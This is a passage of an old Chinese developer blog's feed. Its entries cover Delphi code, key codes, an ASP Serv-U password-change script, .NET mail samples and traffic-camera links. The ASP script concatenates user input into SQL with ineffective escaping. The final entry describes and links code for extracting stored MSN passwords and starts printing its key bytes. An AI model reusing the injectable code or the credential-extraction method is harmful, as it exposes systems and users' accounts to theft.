color=#000000><B>in</B></FONT> 'Unit_Main.pas' <FONT color=#770000><I>{DelphiService: TService}</I></FONT>,<BR><FONT color=#000000><B>Unit</B></FONT>_frmMain <FONT color=#000000><B>in</B></FONT> 'Unit_frmMain.pas' <FONT color=#770000><I>{frmMain}</I></FONT>;<BR><BR><FONT color=#770000><I>{$R *.RES}</I></FONT><BR><BR><FONT color=#000000><B>begin</B></FONT><BR>&nbsp;&nbsp;Application.Initialize;<BR>&nbsp;&nbsp;Application.CreateForm(TDelphiService, DelphiService);<BR>&nbsp;&nbsp;Application.Run;<BR><FONT color=#000000><B>end.</B></FONT><BR></P></CODE></TD></TR></TBODY></TABLE></DIV><BR><BR><BR>窗体代码如下:<BR>
<DIV align=center>
<TABLE borderColor=#d0a070 cellSpacing=0 borderColorDark=#ffffff cellPadding=5 width="99%" bgColor=#ffffc0 border=1>
<TBODY>
<TR>
<TD><CODE>
<P align=left><BR><FONT color=#000000><B>object</B></FONT> DelphiService: TDelphiService<BR>OldCreateOrder = <FONT color=#000000><B>False</B></FONT><BR>DisplayName = 'Delphi服务演示程序'<BR>Interactive = <FONT color=#000000><B>True</B></FONT><BR>OnContinue = ServiceContinue<BR>OnExecute = ServiceExecute<BR>OnPause = ServicePause<BR>OnShutdown = ServiceShutdown<BR>OnStart = ServiceStart<BR>OnStop = ServiceStop<BR>Left = 261<BR>Top = 177<BR>Height = 150<BR>Width = 215<BR><FONT color=#000000><B>end</B></FONT><BR><BR><FONT color=#000000><B>object</B></FONT> frmMain: TfrmMain<BR>Left = 192<BR>Top = 107<BR>Width = 696<BR>Height = 480<BR>Caption = '我的服务测试程序'<BR>Color = clBtnFace<BR>Font.Charset = <FONT color=#000000><B>DEFAULT</B></FONT>_CHARSET<BR>Font.Color = clWindowText<BR>Font.Height = -11<BR>Font.Name = 'MS Sans Serif'<BR>Font.Style = []<BR>OldCreateOrder = <FONT color=#000000><B>False</B></FONT><BR>OnCloseQuery = FormCloseQuery<BR>OnCreate = FormCreate<BR>OnDestroy = FormDestroy<BR>PixelsPerInch = 96<BR>TextHeight = 13<BR><FONT color=#000000><B>object</B></FONT> Button1: TButton<BR>Left = 296<BR>Top = 264<BR>Width = 75<BR>Height = 25<BR>Caption = 'Button1'<BR>TabOrder = 0<BR>OnClick = Button1Click<BR><FONT color=#000000><B>end</B></FONT><BR><FONT color=#000000><B>object</B></FONT> Timer1: TTimer<BR>OnTimer = Timer1Timer<BR>Left = 120<BR>Top = 192<BR><FONT color=#000000><B>end</B></FONT><BR><FONT color=#000000><B>end</B></FONT> </P></CODE></TD></TR></TBODY></TABLE></DIV></SPAN></TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=106" /> 
	  <id>http://www.openx.cn/default.asp?id=106</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi 键盘码表]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-31T14:53:28+08:00</updated>
	  <published>2005-10-31T14:53:28+08:00</published>
		  <summary type="html"><![CDATA[<P>VK_LBUTTON = 1;<BR>VK_RBUTTON = 2;<BR>VK_CANCEL = 3;<BR>VK_MBUTTON = 4; { NOT contiguous with L & RBUTTON }<BR>VK_BACK = 8;<BR>VK_TAB = 9;<BR>VK_CLEAR = 12;<BR>VK_RETURN = 13;<BR>VK_SHIFT = $10;<BR>VK_CONTROL = 17;<BR>VK_MENU = 18;<BR>VK_PAUSE = 19;<BR>VK_CAPITAL = 20;<BR>VK_KANA = 21;<BR>VK_HANGUL = 21;<BR>VK_JUNJA = 23;<BR>VK_FINAL = 24;<BR>VK_HANJA = 25;<BR>VK_KANJI = 25;<BR>VK_CONVERT = 28;<BR>VK_NONCONVERT = 29;<BR>VK_ACCEPT = 30;<BR>VK_MODECHANGE = 31;<BR>VK_ESCAPE = 27;<BR>VK_SPACE = $20;<BR>VK_PRIOR = 33;<BR>VK_NEXT = 34;<BR>VK_END = 35;<BR>VK_HOME = 36;<BR>VK_LEFT = 37;<BR>VK_UP = 38;<BR>VK_RIGHT = 39;<BR>VK_DOWN = 40;<BR>VK_SELECT = 41;<BR>VK_PRINT = 42;<BR>VK_EXECUTE = 43;<BR>VK_SNAPSHOT = 44;<BR>VK_INSERT = 45;<BR>VK_DELETE = 46;<BR>VK_HELP = 47;<BR>{ VK_0 thru VK_9 are the same as ASCII '0' thru '9' ($30 - $39) }<BR>{ VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' ($41 - $5A) }<BR>VK_LWIN = 91;<BR>VK_RWIN = 92;<BR>VK_APPS = 93;<BR>VK_NUMPAD0 = 96;<BR>VK_NUMPAD1 = 97;<BR>VK_NUMPAD2 = 98;<BR>VK_NUMPAD3 = 99;<BR>VK_NUMPAD4 = 100;<BR>VK_NUMPAD5 = 101;<BR>VK_NUMPAD6 = 102;<BR>VK_NUMPAD7 = 103;<BR>VK_NUMPAD8 = 104;</P>
<P>VK_NUMPAD9 = 105;<BR>VK_MULTIPLY = 106;<BR>VK_ADD = 107;<BR>VK_SEPARATOR = 108;<BR>VK_SUBTRACT = 109;<BR>VK_DECIMAL = 110;<BR>VK_DIVIDE = 111;<BR>VK_F1 = 112;<BR>VK_F2 = 113;<BR>VK_F3 = 114;<BR>VK_F4 = 115;<BR>VK_F5 = 116;<BR>VK_F6 = 117;<BR>VK_F7 = 118;<BR>VK_F8 = 119;<BR>VK_F9 = 120;<BR>VK_F10 = 121;<BR>VK_F11 = 122;<BR>VK_F12 = 123;<BR>VK_F13 = 124;<BR>VK_F14 = 125;<BR>VK_F15 = 126;<BR>VK_F16 = 127;<BR>VK_F17 = 128;<BR>VK_F18 = 129;<BR>VK_F19 = 130;<BR>VK_F20 = 131;<BR>VK_F21 = 132;<BR>VK_F22 = 133;<BR>VK_F23 = 134;<BR>VK_F24 = 135;<BR>VK_NUMLOCK = 144;<BR>VK_SCROLL = 145;<BR>{ VK_L & VK_R - left and right Alt, Ctrl and Shift virtual keys.<BR>Used only as parameters to GetAsyncKeyState() and GetKeyState().<BR>No other API or message will distinguish left and right keys in this way. }<BR>VK_LSHIFT = 160;<BR>VK_RSHIFT = 161;<BR>VK_LCONTROL = 162;<BR>VK_RCONTROL = 163;<BR>VK_LMENU = 164;<BR>VK_RMENU = 165;<BR>VK_PROCESSKEY = 229;<BR>VK_ATTN = 246;<BR>VK_CRSEL = 247;<BR>VK_EXSEL = 248;<BR>VK_EREOF = 249;<BR>VK_PLAY = 250;<BR>VK_ZOOM = 251;<BR>VK_NONAME = 252;<BR>VK_PA1 = 253;<BR>VK_OEM_CLEAR = 254;　</P>
<P>资料来源：Delphi Windows 单元文件 表格整理：<A href="http://www.netgocn.com/" target=_blank>http://www.netgocn.com</A> </P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=105" /> 
	  <id>http://www.openx.cn/default.asp?id=105</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ASP+MS SQL在线修改Serv-u的密码教程]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-31T14:40:28+08:00</updated>
	  <published>2005-10-31T14:40:28+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ArticleContent1_ArticleContent1_lblContent>&nbsp;
<P>下面是以Serv-U 6.0和Sql Server 2000相结合的演示。</P>
<P><STRONG>建表Sql 语句：</STRONG></P>
<P>CREATE TABLE [groupaccounts] (<BR>&nbsp;[id] int IDENTITY (1,1) PRIMARY KEY,<BR>&nbsp;[Index] int Default 0,<BR>&nbsp;[Name] nVarChar(50) default '',<BR>&nbsp;[Notes] nVarChar(255) default ''<BR>&nbsp;)<BR>CREATE INDEX [Name] on [groupaccounts]([Name] )</P>
<P>CREATE TABLE [groupdiraccess] (<BR>&nbsp;[id] int IDENTITY PRIMARY KEY,<BR>&nbsp;[Access] nVarChar(255) default '',<BR>&nbsp;[Index] int Default 0,<BR>&nbsp;[Name] nVarChar(50) default ''<BR>&nbsp;)<BR>CREATE INDEX [Name] on [groupdiraccess]([Name] )</P>
<P>CREATE TABLE [groupipaccess] (<BR>&nbsp;[id] int IDENTITY PRIMARY KEY,<BR>&nbsp;[Access] nVarChar(255) default '',<BR>&nbsp;[Index] int Default 0,<BR>&nbsp;[Name] nVarChar(50) default ''<BR>&nbsp;)<BR>CREATE INDEX [Name] on [groupipaccess]([Name] )</P>
<P><BR>CREATE TABLE [useraccounts] (<BR>&nbsp;[id] int IDENTITY PRIMARY KEY,<BR>&nbsp;[Access] nVarChar(255) default '',<BR>&nbsp;[AlwaysLogin] int Default 0,<BR>&nbsp;[ChangePass] int Default 0,<BR>&nbsp;[Disable] int Default 0,<BR>&nbsp;[Expirationtype] int Default 0,<BR>&nbsp;[Expiration] datetime Default '1980-1-1',<BR>&nbsp;[Groups] nVarChar(50) default '',<BR>&nbsp;[HideHidden] int Default 0,<BR>&nbsp;[HomeDir] nVarChar(100) default '',<BR>&nbsp;[idleTimeOut] int Default 0,<BR>&nbsp;[LogMesfile] nVarChar(100) default '',<BR>&nbsp;[MaxIp] int Default -1,<BR>&nbsp;[MaxSpeedDown] decimal Default 0,<BR>&nbsp;[MaxSpeedUp] decimal Default 0,<BR>&nbsp;[MaxUsers] int Default -1,<BR>&nbsp;[Name] nVarChar(50) default '',<BR>&nbsp;[Needsecure] int Default 0,<BR>&nbsp;[Notes] nVarChar(255) default '',<BR>&nbsp;[PassType] int Default 0,<BR>&nbsp;[Password] nVarChar(50) default '',<BR>&nbsp;[Privilege] int Default 0,<BR>&nbsp;[QuotaCurrent] decimal Default 0,<BR>&nbsp;[QuotaEnable] int Default 0,<BR>&nbsp;[QuotaMax] decimal Default 0,<BR>&nbsp;[RatioCredit] decimal Default 0,<BR>&nbsp;[RatioDown] int Default 0,<BR>&nbsp;[RatioType] int Default 0,<BR>&nbsp;[RatioUP] int Default 0,<BR>&nbsp;[RelPaths] int Default 0,<BR>&nbsp;[SessionTimeOut] int Default 0,<BR>&nbsp;[SkeyValues] nVarChar(50) default ''<BR>&nbsp;)<BR>CREATE INDEX [Name] on [useraccounts]([Name] )</P>
<P>CREATE TABLE [userdiraccess] (<BR>&nbsp;[id] int IDENTITY PRIMARY KEY,<BR>&nbsp;[Access] nVarChar(255) default '',<BR>&nbsp;[Index] int Default 0,<BR>&nbsp;[Name] nVarChar(50) default ''<BR>&nbsp;)<BR>CREATE INDEX [Name] on [userdiraccess]([Name] )</P>
<P>CREATE TABLE [useripaccess] (<BR>&nbsp;[id] int IDENTITY PRIMARY KEY,<BR>&nbsp;[Access] nVarChar(255) default '',<BR>&nbsp;[Index] int Default 0,<BR>&nbsp;[Name] nVarChar(50) default ''<BR>&nbsp;)<BR>CREATE INDEX [Name] on [useripaccess]([Name] )</P>
<P><STRONG>ServUDaemon.ini</STRONG>中的ODBC信息：<BR>ODBCSource=Serv-U||<BR>ODBCTables=useraccounts|groupaccounts|userdiraccess|groupdiraccess|useripaccess|groupipaccess<BR>ODBCColumns=Name|Password|SkeyValues|HomeDir|LogMesfile|Access|Disable|Needsecure|RelPaths|HideHidden|AlwaysLogin|ChangePass|QuotaEnable|MaxIp|MaxSpeedUp|MaxSpeedDown|MaxUsers|idleTimeOut|SessionTimeOut|RatioUP|RatioDown|RatioCredit|QuotaCurrent|QuotaMax|Expiration|Privilege|PassType|RatioType|Groups|Notes|Index<BR></P>
<P>我们利用Serv-U的obdc功能，可以把FTP用户信息存在数据库中，这样对Web操作方便了很多，下面是在线更改密码的列子，数据库为Access，表和字段的设计请参考Serv-U的帮助文件。</P>
<P>加密算法为随机码与MD5 32 位加密，例如：<BR>两个随机字母：ab<BR>用户输入密码：123456<BR>生成的密码为：ab&nbsp;+ MD5(ab123456)</P>
<P>补充：md5返回为32位的大写字符，附<A href="http://www.51windows.net/51windows_files/2004_11_13/md5.asp.txt" target=_blank>md5.asp</A></P>
<P>提示：代码仅实现更改密码的功能，并不一定完全符合或达到您的需求。</P>
<P>&lt;!--#include file='conn.asp'--&gt;<BR>&lt;!--#include file='include/md5.asp'--&gt;<BR>&lt;%<BR>dim act,UserName,OldPassword,NewPassword,reNewPassword<BR>act = Request.form("act")<BR>if act = "update" then</P>
<P>&nbsp;UserName&nbsp;&nbsp;= Request.form("UserName")<BR>&nbsp;OldPassword&nbsp;&nbsp;= Request.form("OldPassword")<BR>&nbsp;NewPassword&nbsp;&nbsp;= Request.form("NewPassword")<BR>&nbsp;reNewPassword&nbsp;= Request.form("reNewPassword")<BR>&nbsp;UserName&nbsp;&nbsp;= Replace(UserName,"'","'")</P>
<P>&nbsp;if len(UserName)&lt;1 or len(OldPassword)&lt;1 or len(NewPassword)&lt;1 or len(reNewPassword)&lt;1 then<BR>&nbsp;&nbsp;alert("表单没有填写完整")<BR>&nbsp;end if</P>
<P>&nbsp;if trim(NewPassword)&lt;&gt;trim(reNewPassword) then<BR>&nbsp;&nbsp;alert("密码与确认密码不一样")<BR>&nbsp;end if</P>
<P>&nbsp;Sql0 = "select top 1 name,[password] from [useraccounts] where name = '"& UserName &"'"<BR>&nbsp;set rs0 = conn.execute(Sql0)<BR>&nbsp;if rs0.eof and rs0.bof then<BR>&nbsp;&nbsp;alert("用户名不存在")<BR>&nbsp;else<BR>&nbsp;&nbsp;dbname = rs0("name")<BR>&nbsp;&nbsp;dbpassword = rs0("password")<BR>&nbsp;end if</P>
<P>&nbsp;cdbpassword = left(dbpassword,2) & md5(left(dbpassword,2) & OldPassword)</P>
<P>&nbsp;if trim(cdbpassword) &lt;&gt; trim(dbpassword) then<BR>&nbsp;&nbsp;alert("密码错误")<BR>&nbsp;else<BR>&nbsp;&nbsp;rndstr = MyRandc(2)&nbsp;'两位随机字母<BR>&nbsp;&nbsp;newdbpassword = rndstr &&nbsp; md5(rndstr & NewPassword)<BR>&nbsp;&nbsp;sql2 = "update [useraccounts] set [password] = '"& newdbpassword &"' where name='"& UserName &"'"<BR>&nbsp;&nbsp;conn.execute(sql2)<BR>&nbsp;&nbsp;alert("密码已经更改，可能要几钟后才能生效")<BR>&nbsp;end if<BR>end if</P>
<P>function alert(x)<BR>&nbsp;response.write "&lt;script language='JavaScript'&gt;alert('"& replace(x,"""","\""") &"');history.go(-1);&lt;/script&gt;"<BR>&nbsp;conn.close<BR>&nbsp;set conn = nothing<BR>&nbsp;response.end<BR>end function</P>
<P>function MyRandc(n)'生成随机字符，n为字符的个数<BR>&nbsp;thechr = ""<BR>&nbsp;for i=1 to n<BR>&nbsp;&nbsp;Randomize timer<BR>&nbsp;&nbsp;zNum = cint(25*Rnd)<BR>&nbsp;&nbsp;if zNum mod 2 = 0 then<BR>&nbsp;&nbsp;&nbsp;zNum = zNum + 97<BR>&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;zNum = zNum + 65<BR>&nbsp;&nbsp;end if<BR>&nbsp;&nbsp;thechr = thechr & chr(zNum)<BR>&nbsp;next<BR>&nbsp;MyRandc = thechr<BR>end function<BR>%&gt;<BR>&lt;html&gt;<BR>&lt;head&gt;<BR>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<BR>&lt;META NAME="Author" CONTENT="海娃(51windows)"&gt;<BR>&lt;META NAME="Keywords" CONTENT="<A href="http://www.51windows.net/">http://www.51windows.Net</A>"&gt;<BR>&lt;title&gt;更改FTP (Serv-U) 密码 - 51windows.net&lt;/title&gt;<BR>&lt;/head&gt;<BR>&lt;body&gt;<BR>&lt;form method="POST" action="" name="form" autocomplete="off"&gt;<BR>&lt;input type="hidden" name="act" value="update"&gt;<BR>&lt;div align="center"&gt;<BR>&nbsp; &lt;center&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;table border="0" width="480" cellpadding="2" cellspacing="1" class="table" style="border: 1 solid #336699;font-size:14px;"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="100%" align="center" colspan="2" class="title" style="background:#336699;color:#FFFFFF;"&gt;更改FTP (Serv-U) 密码&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="30%" align="left"&gt;　用户名[√]：&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="70%"&gt;&lt;input class="input" type="text" maxlength=20&nbsp; name="UserName" size="25" value="" /&gt; (FTP登陆用户名)&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="30%" align="left"&gt;　旧密码[√]：&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="70%"&gt;&lt;input class="input" type="password" maxlength=20&nbsp; name="OldPassword" size="25" value="" /&gt; (必须输入旧密码)&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="30%" align="left"&gt;　新密码[√]：&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="70%"&gt;&lt;input class="input" type="password" name="NewPassword" size="25" value="" /&gt; (输入新密码)&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="30%" align="left"&gt;　确　认[√]：&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="70%"&gt;&lt;input class="input" type="password" name="reNewPassword" size="25" value="" /&gt; (再次输入新密码)&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width="100%" height="30" align="center" colspan="2"&gt;&lt;input style="font-size:14px;" type="submit" size="10" value="确 定" class=button&gt;&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/table&gt;<BR>&nbsp; &lt;/center&gt;<BR>&lt;/div&gt;<BR>&lt;/html&gt;<BR>&lt;%<BR>set rs = nothing<BR>conn.close<BR>set conn = nothing<BR>%&gt;</P>
<P>&nbsp;</P>
<P>摘:http://dev.csdn.net/article/77/77241.shtm</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=103" /> 
	  <id>http://www.openx.cn/default.asp?id=103</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[使用 System.Web.Mail发送邮件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-31T14:38:28+08:00</updated>
	  <published>2005-10-31T14:38:28+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ArticleContent1_ArticleContent1_lblContent>&nbsp; 
<P>//<STRONG>simple email<BR></STRONG><SPAN class=Code>MailMessage mail = new MailMessage();<BR>mail.To = "me@mycompany.com";<BR>mail.From = "you@yourcompany.com";<BR>mail.Subject = "this is a test email.";<BR>mail.Body = "this is my test email body";<BR>SmtpMail.SmtpServer = "localhost";&nbsp; //your real server goes here<BR>SmtpMail.Send( mail );</SPAN></P>
<P><SPAN style="FONT-WEIGHT: bold">//<STRONG><FONT color=#000000>simple Html email</FONT></STRONG></SPAN><BR><SPAN class=Code>MailMessage mail = new MailMessage();<BR>mail.To = "me@mycompany.com";<BR>mail.From = "you@yourcompany.com";<BR>mail.Subject = "this is a test email.";<BR>mail.BodyFormat = MailFormat.Html;<BR>mail.Body = "this is my test email body.&lt;br&gt;&lt;b&gt;this part is in bold&lt;/b&gt;";<BR>SmtpMail.SmtpServer = "localhost";&nbsp; //your real server goes here<BR>SmtpMail.Send( mail );</SPAN></P>
<P><FONT color=#000000><STRONG><FONT color=#000000><STRONG><EM><FONT color=#000000><STRONG><FONT color=#000000><STRONG><SPAN style="FONT-WEIGHT: bold"><FONT color=#000000><STRONG><FONT color=#000000><STRONG><EM><FONT color=#000000><STRONG><FONT color=#000000><STRONG>//email with attachments</STRONG></FONT></STRONG></FONT></EM></STRONG></FONT></STRONG></FONT></SPAN></STRONG></FONT></STRONG></FONT></EM></STRONG></FONT></STRONG></FONT></P>
<P><SPAN class=Code><FONT color=#000000>MailMessage mail = new MailMessage();<BR>mail.To = "me@mycompany.com";<BR>mail.From = "you@yourcompany.com";<BR>mail.Subject = "this is a test email.";<BR>mail.Body = "this is my test email body.";<BR>MailAttachment attachment = new MailAttachment( Server.MapPath( "test.txt" ) ); //create the attachment<BR>mail.Attachments.Add( attachment ); //add the attachment<BR>SmtpMail.SmtpServer = "localhost";&nbsp; //your real server goes here<BR>SmtpMail.Send( mail );</FONT></SPAN></P>
<P><SPAN class=Code><STRONG><FONT color=#000000>//change the TO address to a friendly name<BR></FONT></STRONG></SPAN><SPAN class=Code><FONT color=#000000>mail.From = "\"John Smith\" &lt;you@yourcompany.com&gt;";</FONT></SPAN></P>
<P><SPAN class=Code><FONT color=#000000>//<STRONG>multiple recipients<BR></STRONG></FONT></SPAN><SPAN class=Code><FONT color=#000000>mail.To = "me@mycompany.com;him@hiscompany.com;her@hercompany.com"; 
<P><SPAN style="FONT-WEIGHT: bold"><A href="http://www.systemwebmail.com/faq/1.aspx">http://www.systemwebmail.com/faq/1.aspx</A></SPAN></P>
<P></FONT></SPAN><SPAN style="FONT-WEIGHT: bold"><A href="http://www.systemwebmail.com/faq/1.aspx">http://www.systemwebmail.com/faq/1.aspx</A></SPAN></P>
<P><SPAN style="FONT-WEIGHT: bold"><A href="http://www.systemwebmail.com/faq/1.aspx">http://www.systemwebmail.com/faq/1.aspx</A></SPAN></P>
<P><SPAN style="FONT-WEIGHT: bold"><A href="http://www.systemwebmail.com/faq/1.aspx">http://www.systemwebmail.com/faq/1.aspx</A></SPAN><BR></P>
<P>摘:http://dev.csdn.net/article/77/77933.shtm</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=102" /> 
	  <id>http://www.openx.cn/default.asp?id=102</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[时时直播北京各主要路口交通视频]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-31T09:21:46+08:00</updated>
	  <published>2005-10-31T09:21:46+08:00</published>
		  <summary type="html"><![CDATA[北京各个路口的摄像头实况。以后下班前先看看路况再走 
<DIV></DIV>
<DIV></DIV>
<P>从 mms://real.u-mail.cn/cebeijing1 到 mms://real.u-ail.cn/cebeijing58 
<DIV></DIV>
<DIV></DIV>
<P>下面是已经辨认出来的： 
<DIV></DIV>
<DIV></DIV>
<P>3 三元桥 mms://real.u-mail.cn/cebeijing3 
<DIV></DIV>
<DIV></DIV>
<P>7 马甸 mms://real.u-mail.cn/cebeijing7 
<DIV></DIV>
<DIV></DIV>
<P>8 西直门 mms://real.u-mail.cn/cebeijing8 
<DIV></DIV>
<DIV></DIV>
<P>9 西厢月坛桥 mms://real.u-mail.cn/cebeijing9 
<DIV></DIV>
<DIV></DIV>
<P>10 国贸桥 mms://real.u-mail.cn/cebeijing10 
<DIV></DIV>
<DIV></DIV>
<P>14 天宁寺桥 mms://real.u-mail.cn/cebeijing14 
<DIV></DIV>
<DIV></DIV>
<P>15 永定门 mms://real.u-mail.cn/cebeijing15 
<DIV></DIV>
<DIV></DIV>
<P>16 手帕口桥 mms://real.u-mail.cn/cebeijing16 
<DIV></DIV>
<DIV></DIV>
<P>17 西二环（官园北）？mms://real.u-mail.cn/cebeijing17 
<DIV></DIV>
<DIV></DIV>
<P>26 十里河 mms://real.u-mail.cn/cebeijing26 
<DIV></DIV>
<DIV></DIV>
<P>27 木樨园南mms://real.u-mail.cn/cebeijing27 
<DIV></DIV>
<DIV></DIV>
<P>34 北二环小街桥 mms://real.u-mail.cn/cebeijing34 
<DIV></DIV>
<DIV></DIV>
<P>35 二环东直门 mms://real.u-mail.cn/cebeijing35 
<DIV></DIV>
<DIV></DIV>
<P>36 二环德胜门 mms://real.u-mail.cn/cebeijing36 
<DIV></DIV>
<DIV></DIV>
<P>37 安定门 mms://real.u-mail.cn/cebeijing37 
<DIV></DIV>
<DIV></DIV>
<P>41 三环蓟门桥 mms://real.u-mail.cn/cebeijing41 
<DIV></DIV>
<DIV></DIV>
<P>42安贞桥 mms://real.u-mail.cn/cebeijing42 
<DIV></DIV>
<DIV></DIV>
<P>44 白石桥 mms://real.u-mail.cn/cebeijing44 
<DIV></DIV>
<DIV></DIV>
<P>47 阜石路出四环西北角 mms://real.u-mail.cn/cebeijing47 
<DIV></DIV>
<DIV></DIV>
<P>48 西四环五棵松北 mms://real.u-mail.cn/cebeijing48 
<DIV></DIV>
<DIV></DIV>
<P>50 北苑路 mms://real.u-mail.cn/cebeijing50 
<DIV></DIV>
<DIV></DIV>
<P>51 八达岭 mms://real.u-mail.cn/cebeijing51 
<DIV></DIV>
<DIV></DIV>
<P>52 八达岭2 mms://real.u-mail.cn/cebeijing52 
<DIV></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=101" /> 
	  <id>http://www.openx.cn/default.asp?id=101</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[来哦~来看月球哦~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-31T09:13:59+08:00</updated>
	  <published>2005-10-31T09:13:59+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]attachments/worldwind-1-2.jpg[/img]</P>
<P>World Wind，是一款开源软件，可以看3D的月球表面哦~</P>
<P>下载地址:http://worldwind.arc.nasa.gov/download.html</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=100" /> 
	  <id>http://www.openx.cn/default.asp?id=100</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[msn密码破解]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-28T10:55:32+08:00</updated>
	  <published>2005-10-28T10:55:32+08:00</published>
		  <summary type="html"><![CDATA[<DIV class=text14 id=storyview>来自：鞠强 's Blog <BR><BR>代码我做了改进，可以enum出本地所有帐号和密码出来。感兴趣的，可以到这里看看： <BR><A href="http://www.cnblogs.com/Files/juqiang/msnpass.rar" target=_blank><FONT color=#000000>http://www.cnblogs.com/Files/juqiang/msnpass.rar</FONT></A> <BR>晚上看news.baidu.com，突然发现说有msn密码破解的代码出来了，好吓人的样子。于是google了一把，很快找到了一堆代码。不过，看到的几个，都是一个人写的，而且，最终都被人指责，是从另一个forum上抄袭过来的。找到了那个代码，突然想起来前几天在绿盟上看到的flier老大的文章，又重新翻了出来，嘿嘿，代码基本上一致。不过后来我找到的，比flier的似乎要更好一些，因为那74个自己的entropydata其实是一个很好玩儿的字符串。虽然flier提到过，他代码中的entropyData 保存着通过 WinDbg 直接从 MSN Messenger 代码中抠取出来的内部使用固定加密密钥，以后有可能根据版本不同发生变化。 <BR>看这段bytes： <BR>static unsigned char entropyData[] = { <BR>0xe0, 0x00, 0xc8, 0x00, 0x08, 0x01, 0x10, 0x01, <BR>0xc0, 0x00, 0x14, 0x01, 0xd8, 0x00, 